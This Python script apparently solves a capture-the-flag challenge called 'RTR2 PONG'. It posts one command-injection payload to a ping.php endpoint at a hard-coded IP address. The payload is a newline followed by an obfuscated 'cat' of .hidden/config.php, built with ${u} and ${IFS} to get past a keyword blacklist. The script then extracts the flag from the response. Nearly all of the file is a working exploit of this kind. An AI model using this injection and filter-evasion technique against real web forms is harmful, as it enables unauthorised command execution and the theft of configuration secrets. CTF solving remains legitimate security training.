#!/usr/bin/env python3
"""Solve RTR2 PONG with a one-request command-injection payload."""

from __future__ import annotations

import argparse
import re
import sys
import urllib.error
import urllib.parse
import urllib.request


DEFAULT_URL = "http://45.92.158.64:38419/"
PAYLOAD = "127.0.0.1\nc${u}at${IFS}.hidden/config.php"
FLAG_PATTERN = re.compile(r"RTRTNI26\{[^}\r\n]+\}")


def ping_endpoint(base_url: str) -> str:
    parsed = urllib.parse.urlsplit(base_url)
    if parsed.path.rstrip("/").endswith("/ping.php"):
        return base_url
    return base_url.rstrip("/") + "/ping.php"


def solve(base_url: str, timeout: float) -> str:
    endpoint = ping_endpoint(base_url)
    body = urllib.parse.urlencode({"input": PAYLOAD}).encode()
    request = urllib.request.Request(
        endpoint,
        data=body,
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        method="POST",
    )

    try:
        with urllib.request.urlopen(request, timeout=timeout) as response:
            text = response.read().decode("utf-8", errors="replace")
    except (urllib.error.URLError, TimeoutError) as exc:
        raise RuntimeError(f"request to {endpoint} failed: {exc}") from exc

    if "Akses Ditolak" in text:
        raise RuntimeError("payload was rejected by the blacklist")

    match = FLAG_PATTERN.search(text)
    if not match:
        raise RuntimeError("command ran, but no RTRTNI26 flag was found in the response")
    return match.group(0)


def main() -> int:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("--url", default=DEFAULT_URL, help="challenge base URL or ping.php URL")
    parser.add_argument("--timeout", type=float, default=60.0, help="request timeout in seconds")
    args = parser.parse_args()

    try:
        print(solve(args.url, args.timeout))
    except RuntimeError as exc:
        print(f"error: {exc}", file=sys.stderr)
        return 1
    return 0


if __name__ == "__main__":
    raise SystemExit(main())